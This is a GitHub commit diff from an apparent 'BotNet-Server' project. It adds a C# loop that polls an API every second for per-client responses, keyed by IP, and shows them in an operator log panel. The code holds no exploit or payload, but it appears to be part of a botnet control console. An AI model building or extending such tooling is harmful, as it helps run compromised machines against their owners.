Skip to content

Commit

Permalink
add infinitely get clients and responses
Browse files Browse the repository at this point in the history
  • Loading branch information
Zerumi committed Nov 28, 2019
1 parent fe3149c commit 3362311
Show file tree
Hide file tree
Showing 17 changed files with 43 additions and 42 deletions.
Binary file modified .vs/BotNet-Server/v16/.suo
Binary file not shown.
Binary file modified .vs/slnx.sqlite
Binary file not shown.
Binary file modified BotNet Server UI/.vs/BotNet Server UI/v16/.suo
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
1 change: 0 additions & 1 deletion BotNet Server UI/BotNet Server UI.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -62,7 +62,6 @@
<Generator>MSBuild:Compile</Generator>
<SubType>Designer</SubType>
</ApplicationDefinition>
<Compile Include="GetListen.cs" />
<Compile Include="Response.cs" />
<Compile Include="Responses.cs" />
<Page Include="MainWindow.xaml">
Expand Down
12 changes: 0 additions & 12 deletions BotNet Server UI/GetListen.cs

This file was deleted.

66 changes: 40 additions & 26 deletions BotNet Server UI/MainWindow.xaml.cs
Original file line number Diff line number Diff line change
Expand Up @@ -157,6 +157,7 @@ private async void Button_Click_1(object sender, RoutedEventArgs e)
private async void StartListenAsync()
{
await Task.Run(() => ListenClients());
await Task.Run(() => ListenResponses());
}

private async void ListenClients()
Expand All @@ -181,31 +182,44 @@ private async void ListenClients()
}
}

//private async void ListenResponses()
//{
// while (true)
// {
// Responses[] responses = await ApiRequest.GetProductAsync<Responses[]>("api/v1/responses");
// uint[] vars = new uint[responses.Length];
// for (int i = 0; i < responses.Length; i++)
// {
// vars[i] = await ApiRequest.GetProductAsync<uint>($"api/v1/responses/{responses[i].ip}");
// }
// for (int i = 0; i < responses.Length; i++)
// {
// uint var1 = await ApiRequest.GetProductAsync<uint>($"api/v1/responses/{responses[i].ip}") - 1;
// if (var1 != vars[i])
// {
// continue;
// }
// Response response = await ApiRequest.GetProductAsync<Response>($"api/v1/responses/{responses[i].ip}/{var1}");
// if (response != null)
// {
// await LogPanel.Dispatcher.BeginInvoke(new Action(() => LogPanel.Text += response.response));
// }
// }
// Thread.Sleep(1000);
// }
//} // to delete
private async void ListenResponses()
{
bool isFirstIter = true;
List<uint> vars = new List<uint>();
while (true)
{
Responses[] responses = await ApiRequest.GetProductAsync<Responses[]>("api/v1/responses");

if (isFirstIter)
{
isFirstIter = false;
for (int i = 0; i < responses.Length; i++)
{
vars.Add(await ApiRequest.GetProductAsync<uint>($"api/v1/responses/{responses[i].ip}") - 1);
}
}
if (vars.Count != responses.Length)
{
for (int i = vars.Count; i < responses.Length; i++)
{
vars.Add(await ApiRequest.GetProductAsync<uint>($"api/v1/responses/{responses[i].ip}") - 1);
}
}
for (int i = 0; i < responses.Length; i++)
{
uint var1 = await ApiRequest.GetProductAsync<uint>($"api/v1/responses/{responses[i].ip}") - 1;
if (var1 == vars[i])
{
Response response = await ApiRequest.GetProductAsync<Response>($"api/v1/responses/{responses[i].ip}/{var1}");
if (response != null)
{
await LogPanel.Dispatcher.BeginInvoke(new Action(() => LogPanel.Text += response.response + "\n"));
}
vars[i] = vars[i] + 1;
}
}
Thread.Sleep(1000);
}
}
}
}
Binary file modified BotNet Server UI/bin/Debug/BotNet Server UI.exe
Binary file not shown.
Binary file modified BotNet Server UI/bin/Debug/BotNet Server UI.pdb
Binary file not shown.
Binary file not shown.
Binary file modified BotNet Server UI/obj/Debug/BotNet Server UI.exe
Binary file not shown.
Binary file modified BotNet Server UI/obj/Debug/BotNet Server UI.pdb
Binary file not shown.
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@ DEBUG;TRACE
C:\Users\Zerumi\Source\Repos\GitHubRepos\Zerumi\BotNet-Server\BotNet Server UI\App.xaml
11151548125

121950022946
11860407384
16-203878572
MainWindow.xaml;

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@ DEBUG;TRACE
C:\Users\Zerumi\Source\Repos\GitHubRepos\Zerumi\BotNet-Server\BotNet Server UI\App.xaml
11151548125

13-1127907715
122077444019
16-203878572
MainWindow.xaml;

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@ TRACE
C:\Users\Zerumi\Source\Repos\GitHubRepos\Zerumi\BotNet-Server\BotNet Server UI\App.xaml
11151548125

121950022946
11860407384
16-203878572
MainWindow.xaml;

Expand Down

0 comments on commit 3362311

Please sign in to comment.